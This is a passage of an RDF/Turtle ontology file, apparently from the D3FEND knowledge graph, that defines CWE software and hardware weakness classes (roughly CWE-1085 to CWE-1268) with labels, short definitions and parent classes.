    d3f:definition "A function or method contains too many operations that utilize a data manager or file resource." ;
    rdfs:subClassOf d3f:CWE-405 .

d3f:CWE-1085 a owl:Class ;
    rdfs:label "Invokable Control Element with Excessive Volume of Commented-out Code" ;
    d3f:cwe-id "CWE-1085" ;
    d3f:definition "A function, method, procedure, etc. contains an excessive amount of code that has been commented out within its body." ;
    rdfs:subClassOf d3f:CWE-1078 .

d3f:CWE-1086 a owl:Class ;
    rdfs:label "Class with Excessive Number of Child Classes" ;
    d3f:cwe-id "CWE-1086" ;
    d3f:definition "A class contains an unnecessarily large number of children." ;
    rdfs:subClassOf d3f:CWE-1093 .

d3f:CWE-1087 a owl:Class ;
    rdfs:label "Class with Virtual Method without a Virtual Destructor" ;
    d3f:cwe-id "CWE-1087" ;
    d3f:definition "A class contains a virtual method, but the method does not have an associated virtual destructor." ;
    rdfs:subClassOf d3f:CWE-1076 .

d3f:CWE-1088 a owl:Class ;
    rdfs:label "Synchronous Access of Remote Resource without Timeout" ;
    d3f:cwe-id "CWE-1088" ;
    d3f:definition "The code has a synchronous call to a remote resource, but there is no timeout for the call, or the timeout is set to infinite." ;
    rdfs:subClassOf d3f:CWE-821 .

d3f:CWE-1089 a owl:Class ;
    rdfs:label "Large Data Table with Excessive Number of Indices" ;
    d3f:cwe-id "CWE-1089" ;
    d3f:definition "The product uses a large data table that contains an excessively large number of indices." ;
    rdfs:subClassOf d3f:CWE-405 .

d3f:CWE-109 a owl:Class ;
    rdfs:label "Struts: Validator Turned Off" ;
    d3f:cwe-id "CWE-109" ;
    d3f:definition "Automatic filtering via a Struts bean has been turned off, which disables the Struts Validator and custom validation logic. This exposes the application to other weaknesses related to insufficient input validation." ;
    rdfs:subClassOf d3f:CWE-1173 .

d3f:CWE-1090 a owl:Class ;
    rdfs:label "Method Containing Access of a Member Element from Another Class" ;
    d3f:cwe-id "CWE-1090" ;
    d3f:definition "A method for a class performs an operation that directly accesses a member element from another class." ;
    rdfs:subClassOf d3f:CWE-1061 .

d3f:CWE-1091 a owl:Class ;
    rdfs:label "Use of Object without Invoking Destructor Method" ;
    d3f:cwe-id "CWE-1091" ;
    d3f:definition "The product contains a method that accesses an object but does not later invoke the element's associated finalize/destructor method." ;
    rdfs:subClassOf d3f:CWE-1076,
        d3f:CWE-772 .

d3f:CWE-1092 a owl:Class ;
    rdfs:label "Use of Same Invokable Control Element in Multiple Architectural Layers" ;
    d3f:cwe-id "CWE-1092" ;
    d3f:definition "The product uses the same control element across multiple architectural layers." ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:CWE-1094 a owl:Class ;
    rdfs:label "Excessive Index Range Scan for a Data Resource" ;
    d3f:cwe-id "CWE-1094" ;
    d3f:definition "The product contains an index range scan for a large data table, but the scan can cover a large number of rows." ;
    rdfs:subClassOf d3f:CWE-405 .

d3f:CWE-1095 a owl:Class ;
    rdfs:label "Loop Condition Value Update within the Loop" ;
    d3f:cwe-id "CWE-1095" ;
    d3f:definition "The product uses a loop with a control flow condition based on a value that is updated within the body of the loop." ;
    rdfs:subClassOf d3f:CWE-1120 .

d3f:CWE-1096 a owl:Class ;
    rdfs:label "Singleton Class Instance Creation without Proper Locking or Synchronization" ;
    d3f:cwe-id "CWE-1096" ;
    d3f:definition "The product implements a Singleton design pattern but does not use appropriate locking or other synchronization mechanism to ensure that the singleton class is only instantiated once." ;
    rdfs:subClassOf d3f:CWE-820 .

d3f:CWE-1097 a owl:Class ;
    rdfs:label "Persistent Storable Data Element without Associated Comparison Control Element" ;
    d3f:cwe-id "CWE-1097" ;
    d3f:definition "The product uses a storable data element that does not have all of the associated functions or methods that are necessary to support comparison." ;
    rdfs:subClassOf d3f:CWE-1076 .

d3f:CWE-1098 a owl:Class ;
    rdfs:label "Data Element containing Pointer Item without Proper Copy Control Element" ;
    d3f:cwe-id "CWE-1098" ;
    d3f:definition "The code contains a data element with a pointer that does not have an associated copy or constructor method." ;
    rdfs:subClassOf d3f:CWE-1076 .

d3f:CWE-1099 a owl:Class ;
    rdfs:label "Inconsistent Naming Conventions for Identifiers" ;
    d3f:cwe-id "CWE-1099" ;
    d3f:definition "The product's code, documentation, or other artifacts do not consistently use the same naming conventions for variables, callables, groups of related callables, I/O capabilities, data types, file names, or similar types of elements." ;
    rdfs:subClassOf d3f:CWE-1078 .

d3f:CWE-11 a owl:Class ;
    rdfs:label "ASP.NET Misconfiguration: Creating Debug Binary" ;
    d3f:cwe-id "CWE-11" ;
    d3f:definition "Debugging messages help attackers learn about the system and plan a form of attack." ;
    rdfs:subClassOf d3f:CWE-489 .

d3f:CWE-110 a owl:Class ;
    rdfs:label "Struts: Validator Without Form Field" ;
    d3f:cwe-id "CWE-110" ;
    d3f:definition "Validation fields that do not appear in forms they are associated with indicate that the validation logic is out of date." ;
    rdfs:subClassOf d3f:CWE-1164 .

d3f:CWE-1100 a owl:Class ;
    rdfs:label "Insufficient Isolation of System-Dependent Functions" ;
    d3f:cwe-id "CWE-1100" ;
    d3f:definition "The product or code does not isolate system-dependent functionality into separate standalone modules." ;
    rdfs:subClassOf d3f:CWE-1061 .

d3f:CWE-1101 a owl:Class ;
    rdfs:label "Reliance on Runtime Component in Generated Code" ;
    d3f:cwe-id "CWE-1101" ;
    d3f:definition "The product uses automatically-generated code that cannot be executed without a specific runtime support component." ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:CWE-1102 a owl:Class ;
    rdfs:label "Reliance on Machine-Dependent Data Representation" ;
    d3f:cwe-id "CWE-1102" ;
    d3f:definition "The code uses a data representation that relies on low-level data representation or constructs that may vary across different processors, physical machines, OSes, or other physical components." ;
    rdfs:subClassOf d3f:CWE-758 .

d3f:CWE-1103 a owl:Class ;
    rdfs:label "Use of Platform-Dependent Third Party Components" ;
    d3f:cwe-id "CWE-1103" ;
    d3f:definition "The product relies on third-party components that do not provide equivalent functionality across all desirable platforms." ;
    rdfs:subClassOf d3f:CWE-758 .

d3f:CWE-1104 a owl:Class ;
    rdfs:label "Use of Unmaintained Third Party Components" ;
    d3f:cwe-id "CWE-1104" ;
    d3f:definition "The product relies on third-party components that are not actively supported or maintained by the original developer or a trusted proxy for the original developer." ;
    rdfs:subClassOf d3f:CWE-1357 .

d3f:CWE-1106 a owl:Class ;
    rdfs:label "Insufficient Use of Symbolic Constants" ;
    d3f:cwe-id "CWE-1106" ;
    d3f:definition "The source code uses literal constants that may need to change or evolve over time, instead of using symbolic constants." ;
    rdfs:subClassOf d3f:CWE-1078 .

d3f:CWE-1107 a owl:Class ;
    rdfs:label "Insufficient Isolation of Symbolic Constant Definitions" ;
    d3f:cwe-id "CWE-1107" ;
    d3f:definition "The source code uses symbolic constants, but it does not sufficiently place the definitions of these constants into a more centralized or isolated location." ;
    rdfs:subClassOf d3f:CWE-1078 .

d3f:CWE-1108 a owl:Class ;
    rdfs:label "Excessive Reliance on Global Variables" ;
    d3f:cwe-id "CWE-1108" ;
    d3f:definition "The code is structured in a way that relies too much on using or setting global variables throughout various points in the code, instead of preserving the associated information in a narrower, more local context." ;
    rdfs:subClassOf d3f:CWE-1076 .

d3f:CWE-1109 a owl:Class ;
    rdfs:label "Use of Same Variable for Multiple Purposes" ;
    d3f:cwe-id "CWE-1109" ;
    d3f:definition "The code contains a callable, block, or other code element in which the same variable is used to control more than one unique task or store more than one instance of data." ;
    rdfs:subClassOf d3f:CWE-1078 .

d3f:CWE-111 a owl:Class ;
    rdfs:label "Direct Use of Unsafe JNI" ;
    d3f:cwe-id "CWE-111" ;
    d3f:definition "When a Java application uses the Java Native Interface (JNI) to call code written in another programming language, it can expose the application to weaknesses in that code, even if those weaknesses cannot occur in Java." ;
    rdfs:subClassOf d3f:CWE-695 .

d3f:CWE-1110 a owl:Class ;
    rdfs:label "Incomplete Design Documentation" ;
    d3f:cwe-id "CWE-1110" ;
    d3f:definition "The product's design documentation does not adequately describe control flow, data flow, system initialization, relationships between tasks, components, rationales, or other important aspects of the design." ;
    rdfs:subClassOf d3f:CWE-1059 .

d3f:CWE-1111 a owl:Class ;
    rdfs:label "Incomplete I/O Documentation" ;
    d3f:cwe-id "CWE-1111" ;
    d3f:definition "The product's documentation does not adequately define inputs, outputs, or system/software interfaces." ;
    rdfs:subClassOf d3f:CWE-1059 .

d3f:CWE-1112 a owl:Class ;
    rdfs:label "Incomplete Documentation of Program Execution" ;
    d3f:cwe-id "CWE-1112" ;
    d3f:definition "The document does not fully define all mechanisms that are used to control or influence how product-specific programs are executed." ;
    rdfs:subClassOf d3f:CWE-1059 .

d3f:CWE-1113 a owl:Class ;
    rdfs:label "Inappropriate Comment Style" ;
    d3f:cwe-id "CWE-1113" ;
    d3f:definition "The source code uses comment styles or formats that are inconsistent or do not follow expected standards for the product." ;
    rdfs:subClassOf d3f:CWE-1078 .

d3f:CWE-1114 a owl:Class ;
    rdfs:label "Inappropriate Whitespace Style" ;
    d3f:cwe-id "CWE-1114" ;
    d3f:definition "The source code contains whitespace that is inconsistent across the code or does not follow expected standards for the product." ;
    rdfs:subClassOf d3f:CWE-1078 .

d3f:CWE-1115 a owl:Class ;
    rdfs:label "Source Code Element without Standard Prologue" ;
    d3f:cwe-id "CWE-1115" ;
    d3f:definition "The source code contains elements such as source files that do not consistently provide a prologue or header that has been standardized for the project." ;
    rdfs:subClassOf d3f:CWE-1078 .

d3f:CWE-1116 a owl:Class ;
    rdfs:label "Inaccurate Comments" ;
    d3f:cwe-id "CWE-1116" ;
    d3f:definition "The source code contains comments that do not accurately describe or explain aspects of the portion of the code with which the comment is associated." ;
    rdfs:subClassOf d3f:CWE-1078 .

d3f:CWE-1117 a owl:Class ;
    rdfs:label "Callable with Insufficient Behavioral Summary" ;
    d3f:cwe-id "CWE-1117" ;
    d3f:definition "The code contains a function or method whose signature and/or associated inline documentation does not sufficiently describe the callable's inputs, outputs, side effects, assumptions, or return codes." ;
    rdfs:subClassOf d3f:CWE-1078 .

d3f:CWE-1118 a owl:Class ;
    rdfs:label "Insufficient Documentation of Error Handling Techniques" ;
    d3f:cwe-id "CWE-1118" ;
    d3f:definition "The documentation does not sufficiently describe the techniques that are used for error handling, exception processing, or similar mechanisms." ;
    rdfs:subClassOf d3f:CWE-1059 .

d3f:CWE-1119 a owl:Class ;
    rdfs:label "Excessive Use of Unconditional Branching" ;
    d3f:cwe-id "CWE-1119" ;
    d3f:definition "The code uses too many unconditional branches (such as \"goto\")." ;
    rdfs:subClassOf d3f:CWE-1120 .

d3f:CWE-112 a owl:Class ;
    rdfs:label "Missing XML Validation" ;
    d3f:cwe-id "CWE-112" ;
    d3f:definition "The product accepts XML from an untrusted source but does not validate the XML against the proper schema." ;
    rdfs:subClassOf d3f:CWE-1286 .

d3f:CWE-1121 a owl:Class ;
    rdfs:label "Excessive McCabe Cyclomatic Complexity" ;
    d3f:cwe-id "CWE-1121" ;
    d3f:definition "The code contains McCabe cyclomatic complexity that exceeds a desirable maximum." ;
    rdfs:subClassOf d3f:CWE-1120 .

d3f:CWE-1122 a owl:Class ;
    rdfs:label "Excessive Halstead Complexity" ;
    d3f:cwe-id "CWE-1122" ;
    d3f:definition "The code is structured in a way that a Halstead complexity measure exceeds a desirable maximum." ;
    rdfs:subClassOf d3f:CWE-1120 .

d3f:CWE-1123 a owl:Class ;
    rdfs:label "Excessive Use of Self-Modifying Code" ;
    d3f:cwe-id "CWE-1123" ;
    d3f:definition "The product uses too much self-modifying code." ;
    rdfs:subClassOf d3f:CWE-1120 .

d3f:CWE-1124 a owl:Class ;
    rdfs:label "Excessively Deep Nesting" ;
    d3f:cwe-id "CWE-1124" ;
    d3f:definition "The code contains a callable or other code grouping in which the nesting / branching is too deep." ;
    rdfs:subClassOf d3f:CWE-1120 .

d3f:CWE-1125 a owl:Class ;
    rdfs:label "Excessive Attack Surface" ;
    d3f:cwe-id "CWE-1125" ;
    d3f:definition "The product has an attack surface whose quantitative measurement exceeds a desirable maximum." ;
    rdfs:subClassOf d3f:CWE-1120 .

d3f:CWE-1126 a owl:Class ;
    rdfs:label "Declaration of Variable with Unnecessarily Wide Scope" ;
    d3f:cwe-id "CWE-1126" ;
    d3f:definition "The source code declares a variable in one scope, but the variable is only used within a narrower scope." ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:CWE-1127 a owl:Class ;
    rdfs:label "Compilation with Insufficient Warnings or Errors" ;
    d3f:cwe-id "CWE-1127" ;
    d3f:definition "The code is compiled without sufficient warnings enabled, which may prevent the detection of subtle bugs or quality issues." ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:CWE-113 a owl:Class ;
    rdfs:label "Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')" ;
    d3f:cwe-id "CWE-113" ;
    d3f:definition "The product receives data from an HTTP agent/component (e.g., web server, proxy, browser, etc.), but it does not neutralize or incorrectly neutralizes CR and LF characters before the data is included in outgoing HTTP headers." ;
    d3f:synonym "HTTP Request Splitting",
        "HTTP Response Splitting" ;
    rdfs:subClassOf d3f:CWE-436,
        d3f:CWE-93 .

d3f:CWE-114 a owl:Class ;
    rdfs:label "Process Control" ;
    d3f:cwe-id "CWE-114" ;
    d3f:definition "Executing commands or loading libraries from an untrusted source or in an untrusted environment can cause an application to execute malicious commands (and payloads) on behalf of an attacker." ;
    rdfs:subClassOf d3f:CWE-73 .

d3f:CWE-115 a owl:Class ;
    rdfs:label "Misinterpretation of Input" ;
    d3f:cwe-id "CWE-115" ;
    d3f:definition "The product misinterprets an input, whether from an attacker or another product, in a security-relevant fashion." ;
    rdfs:subClassOf d3f:CWE-436 .

d3f:CWE-117 a owl:Class ;
    rdfs:label "Improper Output Neutralization for Logs" ;
    d3f:cwe-id "CWE-117" ;
    d3f:definition "The product constructs a log message from external input, but it does not neutralize or incorrectly neutralizes special elements when the message is written to a log file." ;
    d3f:synonym "Log forging" ;
    rdfs:subClassOf d3f:CWE-116 .

d3f:CWE-1174 a owl:Class ;
    rdfs:label "ASP.NET Misconfiguration: Improper Model Validation" ;
    d3f:cwe-id "CWE-1174" ;
    d3f:definition "The ASP.NET application does not use, or incorrectly uses, the model validation framework." ;
    rdfs:subClassOf d3f:CWE-1173 .

d3f:CWE-1190 a owl:Class ;
    rdfs:label "DMA Device Enabled Too Early in Boot Phase" ;
    d3f:cwe-id "CWE-1190" ;
    d3f:definition "The product enables a Direct Memory Access (DMA) capable device before the security configuration settings are established, which allows an attacker to extract data from or gain privileges on the product." ;
    rdfs:subClassOf d3f:CWE-696 .

d3f:CWE-1191 a owl:Class ;
    rdfs:label "On-Chip Debug and Test Interface With Improper Access Control" ;
    d3f:cwe-id "CWE-1191" ;
    d3f:definition "The chip does not implement or does not correctly perform access control to check whether users are authorized to access internal registers and test modes through the physical debug/test interface." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1192 a owl:Class ;
    rdfs:label "Improper Identifier for IP Block used in System-On-Chip (SOC)",
        "System-on-Chip (SoC) Using Components without Unique, Immutable Identifiers" ;
    d3f:cwe-id "CWE-1192" ;
    d3f:definition "The System-on-Chip (SoC) does not have unique, immutable identifiers for each of its components." ;
    rdfs:subClassOf d3f:CWE-657 .

d3f:CWE-1193 a owl:Class ;
    rdfs:label "Power-On of Untrusted Execution Core Before Enabling Fabric Access Control" ;
    d3f:cwe-id "CWE-1193" ;
    d3f:definition "The product enables components that contain untrusted firmware before memory and fabric access controls have been enabled." ;
    rdfs:subClassOf d3f:CWE-696 .

d3f:CWE-12 a owl:Class ;
    rdfs:label "ASP.NET Misconfiguration: Missing Custom Error Page" ;
    d3f:cwe-id "CWE-12" ;
    d3f:definition "An ASP .NET application must enable custom error pages in order to prevent attackers from mining information from the framework's built-in responses." ;
    rdfs:subClassOf d3f:CWE-756 .

d3f:CWE-1209 a owl:Class ;
    rdfs:label "Failure to Disable Reserved Bits" ;
    d3f:cwe-id "CWE-1209" ;
    d3f:definition "The reserved bits in a hardware design are not disabled prior to production. Typically, reserved bits are used for future capabilities and should not support any functional logic in the design. However, designers might covertly use these bits to debug or further develop new capabilities in production hardware. Adversaries with access to these bits will write to them in hopes of compromising hardware state." ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:CWE-121 a owl:Class ;
    rdfs:label "Stack-based Buffer Overflow" ;
    d3f:cwe-id "CWE-121" ;
    d3f:definition "A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function)." ;
    d3f:synonym "Stack Overflow" ;
    rdfs:subClassOf d3f:CWE-787,
        d3f:CWE-788 .

d3f:CWE-122 a owl:Class ;
    rdfs:label "Heap-based Buffer Overflow" ;
    d3f:cwe-id "CWE-122" ;
    d3f:definition "A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc()." ;
    rdfs:subClassOf d3f:CWE-787,
        d3f:CWE-788 .

d3f:CWE-1221 a owl:Class ;
    rdfs:label "Incorrect Register Defaults or Module Parameters" ;
    d3f:cwe-id "CWE-1221" ;
    d3f:definition "Hardware description language code incorrectly defines register defaults or hardware Intellectual Property (IP) parameters to insecure values." ;
    rdfs:subClassOf d3f:CWE-1419,
        d3f:CWE-665 .

d3f:CWE-1222 a owl:Class ;
    rdfs:label "Insufficient Granularity of Address Regions Protected by Register Locks" ;
    d3f:cwe-id "CWE-1222" ;
    d3f:definition "The product defines a large address region protected from modification by the same register lock control bit. This results in a conflict between the functional requirement that some addresses need to be writable by software during operation and the security requirement that the system configuration lock bit must be set during the boot process." ;
    rdfs:subClassOf d3f:CWE-1220 .

d3f:CWE-1223 a owl:Class ;
    rdfs:label "Race Condition for Write-Once Attributes" ;
    d3f:cwe-id "CWE-1223" ;
    d3f:definition "A write-once register in hardware design is programmable by an untrusted software component earlier than the trusted software component, resulting in a race condition issue." ;
    rdfs:subClassOf d3f:CWE-362 .

d3f:CWE-1224 a owl:Class ;
    rdfs:label "Improper Restriction of Write-Once Bit Fields" ;
    d3f:cwe-id "CWE-1224" ;
    d3f:definition "The hardware design control register \"sticky bits\" or write-once bit fields are improperly implemented, such that they can be reprogrammed by software." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-123 a owl:Class ;
    rdfs:label "Write-what-where Condition" ;
    d3f:cwe-id "CWE-123" ;
    d3f:definition "Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow." ;
    rdfs:subClassOf d3f:CWE-787 .

d3f:CWE-1231 a owl:Class ;
    rdfs:label "Improper Prevention of Lock Bit Modification" ;
    d3f:cwe-id "CWE-1231" ;
    d3f:definition "The product uses a trusted lock bit for restricting access to registers, address regions, or other resources, but the product does not prevent the value of the lock bit from being modified after it has been set." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1232 a owl:Class ;
    rdfs:label "Improper Lock Behavior After Power State Transition" ;
    d3f:cwe-id "CWE-1232" ;
    d3f:definition "Register lock bit protection disables changes to system configuration once the bit is set. Some of the protected registers or lock bits become programmable after power state transitions (e.g., Entry and wake from low power sleep modes) causing the system configuration to be changeable." ;
    rdfs:subClassOf d3f:CWE-667 .

d3f:CWE-1233 a owl:Class ;
    rdfs:label "Security-Sensitive Hardware Controls with Missing Lock Bit Protection" ;
    d3f:cwe-id "CWE-1233" ;
    d3f:definition "The product uses a register lock bit protection mechanism, but it does not ensure that the lock bit prevents modification of system registers or controls that perform changes to important hardware system configuration." ;
    rdfs:subClassOf d3f:CWE-284,
        d3f:CWE-667 .

d3f:CWE-1234 a owl:Class ;
    rdfs:label "Hardware Internal or Debug Modes Allow Override of Locks" ;
    d3f:cwe-id "CWE-1234" ;
    d3f:definition "System configuration protection may be bypassed during debug mode." ;
    rdfs:subClassOf d3f:CWE-667 .

d3f:CWE-1235 a owl:Class ;
    rdfs:label "Incorrect Use of Autoboxing and Unboxing for Performance Critical Operations" ;
    d3f:cwe-id "CWE-1235" ;
    d3f:definition "The code uses boxed primitives, which may introduce inefficiencies into performance-critical operations." ;
    rdfs:subClassOf d3f:CWE-400 .

d3f:CWE-1236 a owl:Class ;
    rdfs:label "Improper Neutralization of Formula Elements in a CSV File" ;
    d3f:cwe-id "CWE-1236" ;
    d3f:definition "The product saves user-provided information into a Comma-Separated Value (CSV) file, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as a command when the file is opened by a spreadsheet product." ;
    d3f:synonym "CSV Injection",
        "Excel Macro Injection",
        "Formula Injection" ;
    rdfs:subClassOf d3f:CWE-74 .

d3f:CWE-1239 a owl:Class ;
    rdfs:label "Improper Zeroization of Hardware Register" ;
    d3f:cwe-id "CWE-1239" ;
    d3f:definition "The hardware product does not properly clear sensitive information from built-in registers when the user of the hardware block changes." ;
    rdfs:subClassOf d3f:CWE-226 .

d3f:CWE-124 a owl:Class ;
    rdfs:label "Buffer Underwrite ('Buffer Underflow')" ;
    d3f:cwe-id "CWE-124" ;
    d3f:definition "The product writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer." ;
    d3f:synonym "buffer underrun" ;
    rdfs:subClassOf d3f:CWE-786,
        d3f:CWE-787 .

d3f:CWE-1240 a owl:Class ;
    rdfs:label "Use of a Cryptographic Primitive with a Risky Implementation" ;
    d3f:cwe-id "CWE-1240" ;
    d3f:definition "To fulfill the need for a cryptographic primitive, the product implements a cryptographic algorithm using a non-standard, unproven, or disallowed/non-compliant cryptographic implementation." ;
    rdfs:subClassOf d3f:CWE-327 .

d3f:CWE-1241 a owl:Class ;
    rdfs:label "Use of Predictable Algorithm in Random Number Generator" ;
    d3f:cwe-id "CWE-1241" ;
    d3f:definition "The device uses an algorithm that is predictable and generates a pseudo-random number." ;
    rdfs:subClassOf d3f:CWE-330 .

d3f:CWE-1242 a owl:Class ;
    rdfs:label "Inclusion of Undocumented Features or Chicken Bits" ;
    d3f:cwe-id "CWE-1242" ;
    d3f:definition "The device includes chicken bits or undocumented features that can create entry points for unauthorized actors." ;
    rdfs:subClassOf d3f:CWE-284,
        d3f:CWE-912 .

d3f:CWE-1243 a owl:Class ;
    rdfs:label "Sensitive Non-Volatile Information Not Protected During Debug" ;
    d3f:cwe-id "CWE-1243" ;
    d3f:definition "Access to security-sensitive information stored in fuses is not limited during debug." ;
    rdfs:subClassOf d3f:CWE-1263 .

d3f:CWE-1244 a owl:Class ;
    rdfs:label "Internal Asset Exposed to Unsafe Debug Access Level or State" ;
    d3f:cwe-id "CWE-1244" ;
    d3f:definition "The product uses physical debug or test interfaces with support for multiple access levels, but it assigns the wrong debug access level to an internal asset, providing unintended access to the asset from untrusted debug agents." ;
    rdfs:subClassOf d3f:CWE-863 .

d3f:CWE-1245 a owl:Class ;
    rdfs:label "Improper Finite State Machines (FSMs) in Hardware Logic" ;
    d3f:cwe-id "CWE-1245" ;
    d3f:definition "Faulty finite state machines (FSMs) in the hardware logic allow an attacker to put the system in an undefined state, to cause a denial of service (DoS) or gain privileges on the victim's system." ;
    rdfs:subClassOf d3f:CWE-684 .

d3f:CWE-1246 a owl:Class ;
    rdfs:label "Improper Write Handling in Limited-write Non-Volatile Memories" ;
    d3f:cwe-id "CWE-1246" ;
    d3f:definition "The product does not implement or incorrectly implements wear leveling operations in limited-write non-volatile memories." ;
    rdfs:subClassOf d3f:CWE-400 .

d3f:CWE-1247 a owl:Class ;
    rdfs:label "Improper Protection Against Voltage and Clock Glitches" ;
    d3f:cwe-id "CWE-1247" ;
    d3f:definition "The device does not contain or contains incorrectly implemented circuitry or sensors to detect and mitigate voltage and clock glitches and protect sensitive information or software contained on the device." ;
    rdfs:subClassOf d3f:CWE-1384 .

d3f:CWE-1248 a owl:Class ;
    rdfs:label "Semiconductor Defects in Hardware Logic with Security-Sensitive Implications" ;
    d3f:cwe-id "CWE-1248" ;
    d3f:definition "The security-sensitive hardware module contains semiconductor defects." ;
    rdfs:subClassOf d3f:CWE-693 .

d3f:CWE-1249 a owl:Class ;
    rdfs:label "Application-Level Admin Tool with Inconsistent View of Underlying Operating System" ;
    d3f:cwe-id "CWE-1249" ;
    d3f:definition "The product provides an application for administrators to manage parts of the underlying operating system, but the application does not accurately identify all of the relevant entities or resources that exist in the OS; that is, the application's model of the OS's state is inconsistent with the OS's actual state." ;
    d3f:synonym "Ghost in the Shell" ;
    rdfs:subClassOf d3f:CWE-1250 .

d3f:CWE-1251 a owl:Class ;
    rdfs:label "Mirrored Regions with Different Values" ;
    d3f:cwe-id "CWE-1251" ;
    d3f:definition "The product's architecture mirrors regions without ensuring that their contents always stay in sync." ;
    rdfs:subClassOf d3f:CWE-1250 .

d3f:CWE-1252 a owl:Class ;
    rdfs:label "CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations" ;
    d3f:cwe-id "CWE-1252" ;
    d3f:definition "The CPU is not configured to provide hardware support for exclusivity of write and execute operations on memory. This allows an attacker to execute data from all of memory." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1253 a owl:Class ;
    rdfs:label "Incorrect Selection of Fuse Values" ;
    d3f:cwe-id "CWE-1253" ;
    d3f:definition "The logic level used to set a system to a secure state relies on a fuse being unblown. An attacker can set the system to an insecure state merely by blowing the fuse." ;
    rdfs:subClassOf d3f:CWE-693 .

d3f:CWE-1254 a owl:Class ;
    rdfs:label "Incorrect Comparison Logic Granularity" ;
    d3f:cwe-id "CWE-1254" ;
    d3f:definition "The product's comparison logic is performed over a series of steps rather than across the entire string in one operation. If there is a comparison logic failure on one of these steps, the operation may be vulnerable to a timing attack that can result in the interception of the process for nefarious purposes." ;
    rdfs:subClassOf d3f:CWE-208,
        d3f:CWE-697 .

d3f:CWE-1255 a owl:Class ;
    rdfs:label "Comparison Logic is Vulnerable to Power Side-Channel Attacks" ;
    d3f:cwe-id "CWE-1255" ;
    d3f:definition "A device's real time power consumption may be monitored during security token evaluation and the information gleaned may be used to determine the value of the reference token." ;
    rdfs:subClassOf d3f:CWE-1300 .

d3f:CWE-1256 a owl:Class ;
    rdfs:label "Improper Restriction of Software Interfaces to Hardware Features" ;
    d3f:cwe-id "CWE-1256" ;
    d3f:definition "The product provides software-controllable device functionality for capabilities such as power and clock management, but it does not properly limit functionality that can lead to modification of hardware memory or register bits, or the ability to observe physical side channels." ;
    rdfs:subClassOf d3f:CWE-285 .

d3f:CWE-1257 a owl:Class ;
    rdfs:label "Improper Access Control Applied to Mirrored or Aliased Memory Regions" ;
    d3f:cwe-id "CWE-1257" ;
    d3f:definition "Aliased or mirrored memory regions in hardware designs may have inconsistent read/write permissions enforced by the hardware. A possible result is that an untrusted agent is blocked from accessing a memory region but is not blocked from accessing the corresponding aliased memory region." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1258 a owl:Class ;
    rdfs:label "Exposure of Sensitive System Information Due to Uncleared Debug Information" ;
    d3f:cwe-id "CWE-1258" ;
    d3f:definition "The hardware does not fully clear security-sensitive values, such as keys and intermediate values in cryptographic operations, when debug mode is entered." ;
    rdfs:subClassOf d3f:CWE-200,
        d3f:CWE-212 .

d3f:CWE-1259 a owl:Class ;
    rdfs:label "Improper Restriction of Security Token Assignment" ;
    d3f:cwe-id "CWE-1259" ;
    d3f:definition "The System-On-A-Chip (SoC) implements a Security Token mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Tokens are improperly protected." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-126 a owl:Class ;
    rdfs:label "Buffer Over-read" ;
    d3f:cwe-id "CWE-126" ;
    d3f:definition "The product reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations after the targeted buffer." ;
    rdfs:subClassOf d3f:CWE-125,
        d3f:CWE-788 .

d3f:CWE-1260 a owl:Class ;
    rdfs:label "Improper Handling of Overlap Between Protected Memory Ranges" ;
    d3f:cwe-id "CWE-1260" ;
    d3f:definition "The product allows address regions to overlap, which can result in the bypassing of intended memory protection." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1261 a owl:Class ;
    rdfs:label "Improper Handling of Single Event Upsets" ;
    d3f:cwe-id "CWE-1261" ;
    d3f:definition "The hardware logic does not effectively handle when single-event upsets (SEUs) occur." ;
    rdfs:subClassOf d3f:CWE-1384 .

d3f:CWE-1262 a owl:Class ;
    rdfs:label "Improper Access Control for Register Interface" ;
    d3f:cwe-id "CWE-1262" ;
    d3f:definition "The product uses memory-mapped I/O registers that act as an interface to hardware functionality from software, but there is improper access control to those registers." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1264 a owl:Class ;
    rdfs:label "Hardware Logic with Insecure De-Synchronization between Control and Data Channels" ;
    d3f:cwe-id "CWE-1264" ;
    d3f:definition "The hardware logic for error handling and security checks can incorrectly forward data before the security check is complete." ;
    rdfs:subClassOf d3f:CWE-821 .

d3f:CWE-1265 a owl:Class ;
    rdfs:label "Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls" ;
    d3f:cwe-id "CWE-1265" ;
    d3f:definition "During execution of non-reentrant code, the product performs a call that unintentionally produces a nested invocation of the non-reentrant code." ;
    rdfs:subClassOf d3f:CWE-691 .

d3f:CWE-1266 a owl:Class ;
    rdfs:label "Improper Scrubbing of Sensitive Data from Decommissioned Device" ;
    d3f:cwe-id "CWE-1266" ;
    d3f:definition "The product does not properly provide a capability for the product administrator to remove sensitive data at the time the product is decommissioned. A scrubbing capability could be missing, insufficient, or incorrect." ;
    rdfs:subClassOf d3f:CWE-404 .

d3f:CWE-1267 a owl:Class ;
    rdfs:label "Policy Uses Obsolete Encoding" ;
    d3f:cwe-id "CWE-1267" ;
    d3f:definition "The product uses an obsolete encoding mechanism to implement access controls." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1268 a owl:Class ;
    rdfs:label "Policy Privileges are not Assigned Consistently Between Control and Data Agents" ;
    d3f:cwe-id "CWE-1268" ;
